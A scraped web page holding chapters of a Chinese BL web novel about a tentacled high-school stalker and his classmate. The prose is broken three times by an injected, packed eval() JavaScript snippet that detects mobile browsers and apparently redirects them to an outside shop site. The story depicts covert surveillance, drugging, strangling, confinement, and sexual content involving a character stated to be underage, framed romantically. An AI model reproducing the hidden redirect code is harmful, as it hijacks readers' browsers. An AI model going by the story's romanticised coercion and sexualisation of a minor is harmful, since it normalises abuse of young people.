;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140966|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个角度,他可以看见薛蕴知的脸,薛蕴知一抬眸就和他对视上了,他咬了下舌尖克制自己赧然的情绪。 薛蕴知抿了一口面前的咖啡,原本紧皱的眉头略带讶异地舒展开。甜度刚刚好,是他刚好能接受的甜度。 “再尝尝蛋糕,怎么样?”温涟说着询问的话,手却已经拿着叉子挖下了一小块,抵到了薛蕴知唇边。 薛蕴知刚一低头,薄唇就沾上了一点奶油,温涟眼睛微不可察地眯了下,握着叉子的手也紧了些,绷起青筋,视线往下移了点,落在唇上,一眨不眨。 他发现薛蕴知吃蛋糕时是先伸出舌头,艳红的舌舔过奶油,然后一卷送入口中,勾人的色差让温涟有点心猿意马,手上力气不自觉地松了点,那块蛋糕看样子马上就要掉下去了,薛蕴知眼睛蓦然睁大,眼疾嘴快一口咬住了叉子,把蛋糕也含住了。 这个动作暧昧得不行,薛蕴知耳根有点烫,咬着那块蛋糕,状似如常地松开了叉子,视线瞥向别处,鼓着腮咬着嘴里的蛋糕。 薛蕴知今天穿着件高领毛衣配深棕色夹克,很酷的风格,现在却像是有些尴尬,红着耳朵吃着嘴里的蛋糕,红润的唇上还残留了点奶油的白,温涟看着,突然起身凑近用手去擦。 薛蕴知躲闪不及,唇上就触上了温凉触感,眼睁睁看着温涟伸手勾掉了他唇上的奶油:“你……” 他话还没说出口,就看见温涟毫不犹豫地伸舌把手指上的那点奶油舔掉了。 温涟弯眼:“好像比我想的要甜。” 薛蕴知一下子从头红到脚,眼睛睁大,不知道是羞的还是气的:“你……!” “你不是直男吗!!”耳边突然有人冲过来带着怒气喊了一声,把咖啡厅其他桌的人的目光都吸引来了。 薛蕴知有点懵地抬眸,脸上的红还没褪去,眼睛眨了眨,罕见的显得有点呆。 面前站着的男生瞪着他,咬牙切齿的,好像是被负心汉辜负了似的,怒气冲冲地质问道:“你当初让我滚远点,原来是因为他吗?” 他指着同样状况外的温涟,眼睛却是怒气冲冲看着薛蕴知。 温涟虽然还没反应过来这是个什么情况,但看着面前男生气急败坏的样子,他又看了眼薛蕴知,心情很好地弯了下眼,不急不躁地拿起薛蕴知咬过的那个叉子,叉了块小蛋糕送入嘴中。 啊……没有刚才那口甜。 20. 第 20 章 看着突然冲出去的费嘉言,温席林甚至没来得及拦,一脸懵地看着这个三人对峙般的局面,他心觉有些丢脸,立马扭回头,连忙整理了下墨镜和帽子,防止被人看穿身份,把自己也牵扯进去。 面对眼前人的质问,薛蕴知有些不耐烦,刚想说话,温涟就叉了一块小蛋糕递到了他嘴边。 薛蕴知:“?” 温涟弯起眼睛,似乎一点也没有意识到现状的尴尬,“不吃吗?我觉得甜度刚好欸。” 如果是平常,薛蕴知肯定会推开他的手,但想到自己还没说出口的、准备向他借钱的事……他向来能屈能伸,凑近点咬下了那一口。 费嘉言看到这一幕,瞪着眼,气得头顶快要冒白烟了。他也顾不得什么脸面问题了,胸口剧烈起伏着,还想大吵大闹,耳边传来椅子和地面的摩擦声,薛蕴知起身,垂眸盯着他,冷下脸来。 “出去说。” 周围人都打量着他们这一桌,窃窃私语着,薛蕴知没有被别人当猴子看的爱好,他有些不自在地拧了下眉。 他的手无意识地搭在桌上,温涟托腮弯唇看着,视线从骨节分明的手往上滑,落在薛蕴知的脸上。 费嘉言和薛蕴知对上视线,气焰瞬间消了大半,眼看着两人就要出去,温涟也站起身,想跟着一起。 薛蕴知指节轻叩桌面,斜瞥一眼:“你等一下。” 闻言,温涟立刻乖乖坐了回去。 大街上车来车往,温涟往玻璃外看了一眼,看不到两人的身影了,他便移回视线,唇边勾着笑,安安静静地吃蛋糕,就好像一点也不关心另外两人的谈话内容一样。 其他桌的人看他表现得这么淡定,发现没热闹看了,也收回了八卦的目光。 没有人看见大街上留下了一道触手爬行过的湿痕,无声无息地跟在了薛蕴知和费嘉言离去的脚步后面。 “温涟,我有话和你说。” 温涟咬着叉子,舌头轻柔舔着,汲取着薛蕴知的味道。闻言,轻飘飘抬起眸,浅色瞳孔没什么感情,盯着人看时,有股令人发怵的非人感。 温席林都很少见他摘下眼镜的模样,猝然和他对视,都有点被他的眼神吓到,脊背猛地窜起一股凉意。 但下一秒他就强行压下了那股凉意,暗道邪门,他怕这个怪胎干嘛。脸上又恢复了一贯的傲慢自大,一副过来人很为温涟这个弟弟着想的样子。 “你知道他以前是做什么的吗?别这么蠢,被人骗了还帮着数钱。”傲慢又蔑视的神情,眼睛里明晃晃写着对薛蕴知的瞧不起。 温涟眯了下眼睛,那一瞬间眸里流露出的杀意让温席林都颤了一下,然而转瞬即逝,仿若错觉一般。 “哦?你很了解知知吗?”温涟抿了下唇,阴郁沉闷的那张脸上露出似笑非笑的神色,嗓音温和清亮,好像是在询问的语气。 温席林坚定家丑不可外扬,和温涟坐在了咖啡厅的角落处,压低了声音,以免对话被别人听见看了笑话。 温涟漫不经心地看着玻璃外的街景,对于温席林说的话兴致不大,心都飞到外面去了。 “那个人我见过,之前在酒吧上班,长得太艳了,勾三搭四的,迷得不少人为他豪掷千金,就是个……”温席林自觉以他的教养说不出那两个难听的字眼,于是消了音,但他觉得温涟能懂他的言外之意。 果然,他这句刚出口,温涟眼珠子转动,直直看向了他。 温席林:“费嘉言当时就被他勾得死心塌地的,他这种人最会找个有钱人吊着了,不就是玩欲擒故纵这一套吗?你离这种人远……” 温涟打断了他:“知知是哪种人?” 温席林没听出他语气的冷意,甚至意识不到四周骤然冷了下来的空气,还在喋喋不休的说,甚至还有点不耐烦了,加重语气有些急了:“我说的还不够清楚吗?费嘉言被他吊着一年了还念念不忘,这人手段了得,他和你交往肯定也是为了钱,这种表子为了钱绝对是连陪睡也……” “哗啦——” 咖啡顺着温席林的头淋下,精心打理的发型瞬间一塌糊涂,淅淅沥沥打湿了身上那件剪裁得当的衬衫,但他甚至做不出任何愤怒的神色了。 脖子在这一瞬间好像被无形的东西缠住,有点像是绳子,质感却又滑腻令人恶心,越缠越紧。 温席林陡然涨红了脸,窒息感让他瞪大了眼睛,眼球凸起,急切地渴求着空气,脖颈绷出青筋,伸手想要把脖子上的东西扯下来,但什么也碰不到!好像只是他的错觉! 窒息感反而加剧了,越收越紧的“绳索”像是要直接生生勒断他的脖子! 温涟站起了身,那双浅瞳居高临下地盯着他,眼珠子轻轻颤动着,轻声细语的:“我不喜欢别人这么说他。” 温席林眼睛瞪着他,眼白泛着红色血丝,像是第一天才认识他一样,脖颈被勒住的窒息感让他濒临绝望边缘。 温涟歪了下头,耳朵轻轻动了动,走了神,好像听见了什么让他愉悦的声音,唇角忽然抿起浅浅一层笑。 …… “砰!” 薛蕴知掐着费嘉言的脖子往墙上撞,仍旧不解气,嗓音冷得快要结冰:“你不觉得自己恶心吗?” 时隔一年,费嘉言终于再次回忆起了之前被薛蕴知按倒在地上时的恐惧,他清楚地意识到,薛蕴知是真的能打死他。身体却很不合时宜地起了反应,嚣张地诉说着自己的存在。 费嘉言看着薛蕴知的视线往下瞥了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140967|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,旋即嫌恶地皱起了眉,便知道薛蕴知也发现了他的反应。 薛蕴知也知道某些群体有些特殊的爱好,但这并不代表他想成为其中的一个。 他脸上的神情很浅,最大的幅度就是皱眉了,整体还是平静又冷淡的:“你有这方面的爱好可以去找和你兴趣相投的人。” 费嘉言却理解成了他说自己不是同性恋。虽然刚刚被砸到墙上的后脑勺还疼得要命,但他还是像打了鸡血似的,气得牙齿都在打颤:“那你和温涟是几个意思?!约会吗?他不仅是个同性恋,还是个变态!” “他和你不一样。”薛蕴知淡声反驳。 他垂了眸,浓密的长睫轻颤,除了那次之外,其余时候,温涟都挺乖的…… 他自己都没有意识到,温涟过分顺从的表现满足了他内心藏得极深的那部分控制欲。 费嘉言后脑勺疼得他连思考的能力都没有了,伸手抹了一把,掌心蹭上了血。薛蕴知就只对他这么狠!凭什么!他哪里比不上温涟那个变态的怪胎:“有什么不一样!你不知道他虐杀动物,成天阴沉得很,又恶心……” 薛蕴知抓着他的脖子又往墙上使劲撞了一下,表情云淡风轻,钻进鼻腔的血腥味没有让他的神情变化分毫:“你给我下了两次药的事,我不想再多提了。” 提到这件事,费嘉言被砸的晕乎乎的大脑也清醒了几秒,泛起了点心虚,但从小到大的傲慢让他又恢复到了理所当然的模样:“那我也没成功啊……艹!” 肚子骤然被砸了一拳。费嘉言的脸色一瞬间白得像纸,疼得想要蜷缩起来,但是薛蕴知掐着他的脖子,五指收紧了。 他想求饶,用尽了全力,喉咙里也只能发出崆崆的间断音节,抬起眼和薛蕴知对上了视线,他被他的眼神吓了一跳。这一刻是真的感觉薛蕴知想杀了他。 薛蕴知:“是啊,都把我迷晕了放在床上了,怎么就没成功呢。” 他还是一副冷淡平静的面孔,却让费嘉言感受到死亡的威胁逐渐逼近,心跳得飞快,求生的欲.望让他眼角溢出了眼泪,露出了再狼狈不过的模样。 “我以为你一而再,再而三地挑衅我,是不怕死。”薛蕴知咬字冷淡,他松开了手,费嘉言便像轻飘飘的风筝一下摔落了下去,像条狗一样趴在他的鞋边,猛烈呼吸着,咳个不停,脸充血地涨红。 薛蕴知蹲下身,捏住他的下巴,强迫费嘉言那张涕泗横流的脸抬起来正视着他,一字一句:“我一个爸妈死了的孤儿真没什么好怕的,但你这种做惯了人上人的富家少爷恐怕不行吧。” 疯子……疯子!!费嘉言惊恐地喘着粗气,这才意识到薛蕴知之前一直有所保留,不知道出于什么原因才一忍再忍,没有对他下狠手。 21. 第 21 章 温涟松开了勒住面前男人脖颈的触手,垂眸看着大口呼吸着的、尽显丑态的温席林,男人脖子上清晰留下一道可怖得泛起淤青的勒痕。 温席林恐惧地摸着自己的脖子,窒息感如影随形,他眼睛里被血丝弥漫,对于死亡的畏惧仍旧残留在那双向来写满傲慢的眼睛里。 温涟很有修养地把咖啡杯子放回原处,唇角勾着笑,浅色眸子天然不显温度,仿若无机质,令人发怵:“哥哥想活着的时候我看也没什么不一样啊,不是也用尽手段吗?他当初想活下来也这么辛苦……不,比这更辛苦。兼职赚学费的时候,他遇到的见人倒是不止一个。” 温席林这个时候也摆不起架子了,一直在猛烈地咳嗽,好像要把肺都咳出来,脑袋嗡鸣地响,哪里还有一点先前的傲慢。 “哥哥是站着说话不腰疼,”温涟轻轻舒出一口气,像是忽然想起了薛蕴知,浅色眸子里泛起一点甜腻的笑,“我倒是希望他图我的钱。” 至少证明了薛蕴知需要他,哪怕只是一点。 * 解决完突然出现的麻烦之后,两人换了个地点,在咖啡厅里不了了之的话题被重新提起。 薛蕴知搅弄着碗里的汤,嘴唇动了动,有些难以启齿,纠结之下选择了沉默。 包间里只剩下勺子与瓷碗碰撞的清脆响声。 “知知……” “温涟。” 两人同时出声,打破了沉默,声音撞在一起时,又默契地同时闭上了嘴。 薛蕴知看着他,斟酌了一下,率先开口:“这次约你出来,我是想问,你上次说的还作数吗?” 薛蕴知绷着脸,努力做出一副淡然平静的模样,但口腔里牙使劲咬着舌头,隐藏着自己在面临这种情况仍然是无所适从的、不自然的。 “什么?” “在洗手间的那次,你说每天五万,”薛蕴知要钱也是理直气壮的淡淡腔调,“还作数吗?” 温涟托着腮,弯起眼睛:“当然。” 他当然记得,每一次和薛蕴知的见面他都记忆深刻,他故意这样问,想要在薛蕴知脸上看见窘迫的神色。 但没有成功。薛蕴知好像总是云淡风轻的冷淡神情,鲜少出现很大的情绪波动。——除了被他占便宜的时候会表露出羞恼与气愤的情绪。 听见这个回答,薛蕴知眉眼骤然舒展开,温涟却在这时适时地开口,打断了他的如释重负,补充道:“但我现在要加个条件。” 薛蕴知眼睫颤了一下,下意识抿了抿唇,目光认真谨慎:“你说。” 温涟唇角不自禁地弯起,浅色瞳孔里清晰倒映着薛蕴知的面孔。——带着一种狂热的,令人头皮发麻的凝视感。 薛蕴知没有被这种眼神吓到,平静地喝了口汤。比起他之前在酒吧兼职时候遇到的形形色色的人,温涟的眼神除了烫得他有点不适应之外,倒是比很多人的眼神干净不少。 想起曾经注视过他的眼神,淫.邪的,抱有极强的目的性,就好像他不是一个人,而是一件物品,对方随时可以拥有的囊中之物……薛蕴知一阵反胃,看着汤面浮起的一层油,搅了搅,眼神有些晦暗。 如果是陪睡……勺子陡然把碗底的萝卜压碎了。薛蕴知的脑子里过了一遍可能的条件,抱一下?亲一下?还是……咬一下?薛蕴知舌尖抵着唇,他不知道自己能接受到哪一步。 咬一下太超过了……想起之前在休息室那回,薛蕴知是真的接受不了,别人的嘴触碰自己的,又或者他去碰别人的…… “条件是,让我给你补习吧。” 薛蕴知怔愣地抬眼,黑色眸子装满了茫然。 温涟非常礼貌问道:“可以吗?” “你、给我、补习?”薛蕴知有些难以置信,指着自己,又重复了一遍。 这和他想象中的风格截然不同,就像是突然从黄/暴/涩/情栏目转到了小清新频道。 温涟点点头,从包里拿出一个本子,推到了薛蕴知面前,示意他看。 薛蕴知翻开了那个本子,面色古怪,眼皮跳了一下,这次跳的是左眼。他还是有点怀疑自己是不是听错了。 他都没有既要又要,温涟居然主动提出来。所以是每天给他五万,还附赠年级第一的补习服务?他真的没听错吗? 本子上的字迹很好看也很清晰,详细地记录了一些做题时会遇到的问题,薄弱点,重点难点,十分有针对性。薛蕴知翻着,想起了自己放在书包里的那套月考试卷。 所以这是温涟专门给他做的分析? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140968|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛蕴知心里泛起一种怪异的陌生的感觉,还没等他想清楚那是种什么感觉,就被温涟接下来的话打散了。 “为了方便补习,你搬到我这里来住吧,”温涟一眨不眨地盯着他,眼珠子分毫不转动,说话很认真,“是上次你去过的那个房子。” 果然。天下没有免费的午餐。他还以为…… “没问题。”薛蕴知恢复了原本的神情,眼里方才浮现的点点讶异与开心消失得一干二净,被早知如此的淡漠取代。 他答应得很痛快,就好像对于与温涟住进同一个房子后会产生的后果一无所知似的。 但看他的神色就能知道,他其实并不是猜不到,而是清楚地知道可能会发生的事,经过思索之后还是答应了。 温涟也想到了这一点,薛蕴知深思熟虑之后还是答应和他同居,无论是出于什么样的原因,他都感到愉悦和幸福,酥麻的爽感沿着脊背一路上窜,炸的心脏都胀胀的,被满足感充斥着。 “我知道你家里出了一点事。”温涟突然凑近,薛蕴知手骤然捏紧了碗壁,忍住了躲开的本能,温涟没有过分靠近,停在了一个薛蕴知勉强能接受的距离。 透过晃动的阴郁刘海,他和温涟直直对视着。 “我会帮你解决好的,医疗团队和钱你都不用担心。” 包间的灯光明亮又白得晃眼,打在温涟脸上,那一刹给人一种错觉,好像他是值得信赖的、不求回报的、温柔的好人。 薛蕴知手收紧了,在这种逐渐变得不对劲的气氛下,他感到在这场对话里自己好像落入了下风:“我需要做什么……” 他竭力想让自己变得体面一点。 “你什么都不用做。” “不……我需要……” 温涟认真地看着他,眼珠好像澄澈的玻璃珠子,清晰倒映着薛蕴知变得有点差的脸色,他开口打断了薛蕴知。 说出的话毫不顾忌地直接打破了薛蕴知心底里那点不切实际的幻想:“你知道的吧,知知。” 温涟就好像不知道自己说出的话会打碎少年岌岌可危的自尊心一样,一字一句地说:“如果我需要你为我做什么的话……那就是包养了哦。” “但我不想和你成为那种关系。”温涟弯起眼睛,认真诚挚。 24-30 第24章 第24章[VIP] 屋子里没有开灯, 光线很暗。 温涟站在门前,抬眸看着不经允许进入自己房间的薛蕴知,光影勾勒的神色晦暗, 唇角漾着笑,语气如常:“怎么了吗知知。” 床上显然还没收拾过, 垃圾桶里堆着纸巾, 很不正常。 正对着床边的电脑屏幕很暗,看不清楚上面显示的内容,但显然不会是什么好东西。 温涟好像完全没有意识到现在是个什么状况一样,也好像完全忽略了面前人的神情。 换句话说,他简直像是无事发生一样, 还朝着薛蕴知伸出了手,看样子是大度地并不追究薛蕴知不经允许就闯进他房间的事。 “啪!” 一巴掌打在手上, 手被拍了下去, 手背瞬间红了一片, 火辣辣的疼。 温涟却好像察觉不到疼痛一样,没有低头看一眼, 唇角的笑一点点压了下去, 目不转睛看着薛蕴知。 他不理解, 也不明白薛蕴知的脸上为什么会露出这种难过的神色。 “你……”薛蕴知出声时才发现自己的嗓音有多干涩, 他看着温涟,眼睛里布着红血丝, 咬牙切齿地问,“你就没有什么想说的吗?” 如果不是今天这个触手, 他都不知道温涟一直在……空气中的气味不断地提醒着他, 薛蕴知心脏收缩得酸涩,胃里翻滚得厉害, 有种说不上来的情绪,突然特别想吐。 虽然不知道触手为什么会诱他来这里,但是至少让他看见了…… “温涟,解释。” 薛蕴知的掌心被掐得用力,乍一眼看起来表情与平常无异,但轻轻发抖的身体还是暴露了他内心的波动。 漆黑凌乱的碎发之下,一双眸子沉寂地看着温涟,下颌绷紧了,耐心地等待着对方的回答。 温涟沉默了会儿:“因为我爱……” “这就是你说的爱?” 薛蕴知冷声打断了他,把床前的笔记本电脑掰正,上面显示的赫然是薛蕴知所住的那间房间的场景。 拳头被捏得咔擦作响,他声音却是冷静的,哑声道:“我的一举一动都在你的监视之下……很好看,对吧。” 真可笑啊,又被当成了别人闲暇时候的乐子了。 薛蕴知轻嗤了一声,自嘲着自己当真就是像江明说的那样不长记性。他就是个彻头彻尾的蠢货……! 荒谬的现状唤起了他一些糟糕的记忆。 他不是突然就恐同的。 当初在酒吧兼职的时候,他被信任的经理下药放倒了酒店房间的床上,用来讨好那个玩笑般追求他的富二代。——这是费嘉言第一次找人给他下药。 他睁开眼睛时,房间里只有他一个人,大床正对面端端地架着一架摄像机,黑洞洞的镜头就那样像一把狙击枪般对准了他,让他的所有动作、情态都无所遁形。 太恶心了……薛蕴知牙咬得用力到战栗,这种被当成一盘菜送上桌给人品尝的感觉,真是令人作呕。 那架静止的摄像机的作用任傻子也能猜到。被下了药躺在床上、手无缚鸡之力的薛蕴知嫌恶地想,或许是为了日后以此威胁他,也或许仅仅是为了反复欣赏? 真是太恶心了。 身体被下的是浑身无力的迷药,他用尽全力也只能勉强抬动一条胳膊。他清醒地意识到一个事实,他仅凭自己逃不走的。 在看见费嘉言进入房间之后,他难以遏制干呕的生理性反应,呕了好几下,眼尾泛红,泛起点莹莹泪光。 费嘉言兴奋地向他靠近时,薛蕴知胃里那种想吐的感觉就愈发强烈,桃花眼眯了起来,心底恶意粘稠蔓延,控制不住想要把眼前这人剁成肉泥的念头。 显然费嘉言并没有把一个被下药的人放在眼里,对他毫无警惕。薛蕴知趁着他放松的机会,悄无声息地抬手,用巧力碰掉了床头的花瓶。 “啪”的一声碎片飞溅。 在那人还没反应过来之时,薛蕴知抓住了一片瓷碎片,竭尽全身力气把费嘉言控制住了,碎片直直抵在脆弱的咽喉。 那只骨节分明的手还在颤抖,一不小心就会划开喉咙见血,眼睛冰冷得吓人,宛如冰锥一样刺人:“你是不是活腻了?” 一字一顿,当真像是死亡宣言。 被死死按在手下的人想要挣扎。 其实这个时候他挣扎是绝对可以把中了药的薛蕴知掀翻的,但他被薛蕴知的眼神吓到了,他真的害怕薛蕴知一个手抖就划破他的咽喉。 出于对死亡的恐惧,竟然也就这样被一个下了药的人制住了。 薛蕴知手下轻轻用力,碎片就压了下去,眼底映入一点浅得可以忽略不计的血色,衬的脸愈发艳了。身下的人抖得跟筛糠似的,胆子小的可怜。 薛蕴知突然觉得有些好笑,他竟然被这么个人暗算了。碎片又往里压了点,眼底红色愈发清晰:“就这样吧,滚出去。我不会追究你,你也别再烦我。” 费嘉言第一次惹上这么个硬茬子,脖颈疼得他直冒冷汗,抖个不停。他没说话,但眼神动作俨然透露着他想要事后报复回去的意图。 “我还没成年,逼迫未成年人你需要负法律责任的,”薛蕴知看出了他的想法,淡声吐露着威胁的话语,“到此为止。” …… 温涟依旧不懂薛蕴知为什么会产生这么大的情绪波动。 他不想继续只能通过触手触碰他的生活了,他想要和薛蕴知发展更进一步的、更亲密的关系,他忍不下去了。 但薛蕴知此时的表现和他预料的大相径庭。明明……明明他说他不恐同了…… 温涟眸里透着执拗的阴霾,他也犟:“看不到你我会疯的……” 他声音一滞,瞳孔骤缩,面前的一幕令他眸里的光缩成一个小点,不受控制地兴奋战栗着。 薛蕴知正单手解着上衣的扣子,白皙的肤色随着他的动作大片大片地暴露出来。 温涟眼睛直勾勾盯着他的手,视线简直像是黏在了薛蕴知手上,喉结滚动了下,但没有急着动作,沉默地盯着看。 “隔着监控看有什么意思,”扣子被一颗颗解开,薛蕴知把睡衣随意扔在了床上,“你给钱了,我确实也该付出点什么。” 薛蕴知的眸色很快就平静了下来,把这彻底当成了一场交易。 一只不属于自己的手触碰上了紧实的皮肉,他腰腹紧绷一瞬,旋即又克制着自己的本能放松下来。 温涟抿唇:“你不要这样。” 薛蕴知眉梢轻挑,忍不住短促笑了一声。温涟的手现在还放在他的腹肌上摸,怎么义正言辞说出这种话的,他不觉得他这个时候说出这番话来很可笑吗? 温涟继续表里不一:“我只是想看着你……” 薛蕴知打断,反问他:“不是想和我做/爱?” 温涟一下就沉默了,闷声说:“想。” “那有什么好说的。” 温涟想收回手,薛蕴知立马按住了他的手腕,更用力地按在块垒分明的肌肉上,语气带着淡淡的嘲意:“比你意/淫更爽吧。” 温涟不把手往回缩了,怔愣地抬眸望着他,脸上泛上醉酒般的红晕,不争气的有了反应。 薛蕴知一只手死死按着他的手,另一只手撑开了裤腰,从温连的视线甚至可以看见若隐若现的黑色内/裤:“反正是包养,就当我还你的。也让我尽尽我该尽的义务,对吧,金主哥哥。” “不是包养!”温涟被搅得一塌糊涂的脑子终于清醒了片刻,他的手在薛蕴知腹肌上流连得多摸了两把,才使劲抽回了手,厉声反驳了这句话。 收回身侧后,指腹还在依依不舍地摩挲着,回味着触感。 他见薛蕴知不信他的话,还自顾自地准备脱裤子,连忙伸出手去扯他的手。被手撑开松紧的睡裤“啪嗒”一声弹回了腰间,白皙的皮肤瞬间泛上一层浅红。 那缓缓蔓延的浅红涩得惊人。 薛蕴知上身还赤.果着,他冷静地问:“不是包养吗?那是什么?” 眼球的血丝还在弥散,脸又好看得过分,让人看了就心疼。 温涟呼吸有些急促,口干舌燥,反应愈发强烈了,他不得不低下头,避免看着薛蕴知:“我只是想帮你,想让你别那么累,我没想让你给我什么。” “哦,”薛蕴知唇角勾着在笑,他转过身,伸手扣了扣笔记本电脑显示着监控的屏幕,打下墙上的相框,扯出敞开的衣柜里篮球服扔在地上,“那这个,这个,还有这个……这些是性/骚/扰吗?” 他还想再扔下桌上装着糖纸的盒子,被抓住了手。薛蕴知回头,温涟埋着头,头发把脸挡得严严实实,他没有看他,只嘴里一个劲地轻声呢喃:“对不起、真的对不起,我真的忍不住,我控制不住……对不起。” 相框砸在地上,玻璃渣子乱飞,衣服盖在上面,一地的狼藉。温涟从前精心收藏、仔细保管的物品,连一点灰都不会落在上面,现在却变成了这样。 温涟盯着地面:“对不起……” 薛蕴知手紧握成拳:“我会搬出去。” 说完,他就转身回了房间,套上了校服,收拾了下自己花五十重新买的书包,把书桌上的课本试卷塞了进去。俨然是打算现在就离开这里。 不是他的东西他一件也没带,又是那样单薄又寂寥的模样。 走到玄关处,智能门发出“已上锁”的声响。 薛蕴知穿鞋的动作一顿,伸手抓住把手使劲推门,推了好几下,用身体去撞也撞不开,这锁是用手机控制的,他开不了门。 他心知肚明这是谁上的锁,转身去看,眼神冷冰冰的。 温涟站在楼梯口。 “明天再走吧,今天太晚了。” 薛蕴知:“开锁。” 温涟的声音一如既往地平和:“今天太晚了,外面很冷,你穿得太少,这个点出去打不到车,回家你会冻感冒的。” 薛蕴知的嗓音沙哑:“我说,开锁。” 温涟不说话了。他转身就要回房间,沉默地表明自己的立场,他是不会允许薛蕴知穿得这么单薄出门的。 “开锁!”薛蕴知几步走上前,把温涟拽得转过了身。 温涟那双干净澄澈到毫无杂质的眼睛直勾勾盯着他,几秒后,突然凑近去亲他的嘴,薛蕴知下意识往后退了一步,眼睛睁大,手也松了力。 就在这几秒间,温涟快步上楼回了房间。薛蕴知迅速回过神,拧眉跟上去,手刚搭在把手上,门内就传来了上锁的声音。 薛蕴知把气憋在心里,憋得快要爆炸了,冷着一张脸不间断地用力敲门,里面的人就跟死了一样一声不吭。 敲得手疼了也没人开门,薛蕴知咬着牙,没有回那个房间,而是继续背着自己那个普通的包,在这个偌大的房子里缓慢地走着,最后绕到了花盆旁边蹲下。 他缓和了下自己的情绪,呼吸逐渐平缓下来,方才那些涨的心脏发疼的情绪终于消散开。 他突然用力地一口咬在虎口,好像要把心里的委屈全部都发泄出来,牙齿死死咬住了肉,缓慢地渗出血来,埋着头,眼角滑落了点晶莹的水光,呜咽全部被堵回了喉咙里。 “呼——” 房间里,温涟看着电脑屏幕,屏幕上调出的是监控录像回放,宽大的床上少年被触手包裹住,他的手抓着薛蕴知扔在床上的睡衣动着,刘海下露出一双充斥惊人欲/色的眼睛,呼吸急促,半晌,终于发/泄出来。 电脑屏幕和睡衣都脏了。温涟合上笔记本,面无表情地扔进了垃圾桶,“砰”的一声响。 那件睡衣则是被他放进了脏衣篓里,洗一洗晾干之后他又会把它放进衣柜里,珍惜地保存起来。 触手从各种各样的地方钻了出来,一只触手冒出了头,顶着一条内裤,邀功似的在温涟面前摇晃着。 温涟拿着药瓶,往手心里哗啦啦倒了不少,像吃糖片似的,一股脑全部倒进嘴里,就着凉水吞下。 他等着药物起效,蓬勃到愈演愈烈的、几乎要烧掉全部理智的欲/火在药物作用下终于慢慢消减了下去。 触手还顶着那条被它偷来的内裤,晃啊晃,温涟接了过来,攥在手心,瞥了眼呆逼触手,烦躁道:“你闯祸了。” 被批评之后,触手扭了扭,难过地回到了触手集体里。 触手并没有自主意识,只代表着温涟的潜意识。 温涟迁怒完触手之后,幽幽叹了口气,垂下眼,过长的刘海也垂着,气质阴郁沉闷。他以为薛蕴知真的接受同性恋了,没想到……他还是太急躁了。 但下一次,薛蕴知应该不会再相信他了。 不能这样。绝对不能这样! 他不会让薛蕴知离开他的。没有薛蕴知,他会疯的。 药物除了能够压抑性/欲,还有极强的助眠功效,温涟躺在床上很快沉沉睡了过去。 楼下客厅里已经空无一人了。 窗户大开着,呼呼地往里灌着冷风,窗户边沿留下了一个不明显的掌印,以及几滴不经意间按得晕染的血滴。 * 周一是月考,薛蕴知在考场上一直打喷嚏。 那天半夜从窗户里爬出来,穿着件短袖回到那个出租屋里,一路折腾确实让他着了凉。 他昨天就发觉自己感冒了,但是心情糟透了,也就任性了回没买感冒药,导致的后果就是今天感冒更加严重了。 崇明一中的考试是从早一直考到晚,薛蕴知鼻子被擤得通红,头也昏沉沉的发疼,但还是坚持着把试卷写完了。 考场教室里的窗户没关,冷风把整间教室都变得寒冷了。薛蕴知咬着指骨保持清醒,按照三段式结构,赶在考试结束的最后一分钟把英语作文胡乱写完了。 他头疼快要炸了,在座位上缓了会儿才出考场,领取了自己的手机。 左手虎口贴着创口贴,抓着手机。手机正在开机中,他打了个喷嚏,眼里转着生理性泪光。 开机后就看见江明发来的消息,他说,考试考得太困了,他先回去了。 考场是按上一次考试排名排的,薛蕴知在最后一个考场,江明在第三考场,距离很远。 薛蕴知回了个好的。 他慢吞吞地回了教室,准备收拾下书就回家,结果一进门就发现自己的位置上放着一个装着各种各样感冒药的袋子。 翻了下塑料袋里面,没有翻到署名的字条。 谁送的?薛蕴知想了想,谁知道他感冒了吗? 脑子里闪过一个人选,他立时皱了眉,把这个名字驱逐出自己脑海。 他先没动那个袋子,而是收拾起了自己的东西。他不想带太多东西回家,就只带了数学的练习题。 拉链哧的一声拉上,这时候江明发了条消息过来,薛蕴知看了眼手机。 【我看你感冒有点严重,记得吃药啊】 哦——所以是江明给的? 江明不是和他一样考了一整天试吗?什么时候去买的药?薛蕴知挑了下眉,什么时候江明有这么细致了? 薛蕴知眨了下眼,先回了个好的。想了想,又补充了个谢了。 坐在私家车上的江明看见这个【谢了】有点懵地挠了挠头,不就提醒了句吗? 他回道:【这有啥好谢的哈哈】 薛蕴知当即在教室里就撕开了一包感冒冲剂,直接仰头把干粉倒进了嘴里,然后咕嘟咕嘟就着凉水咽了下去。 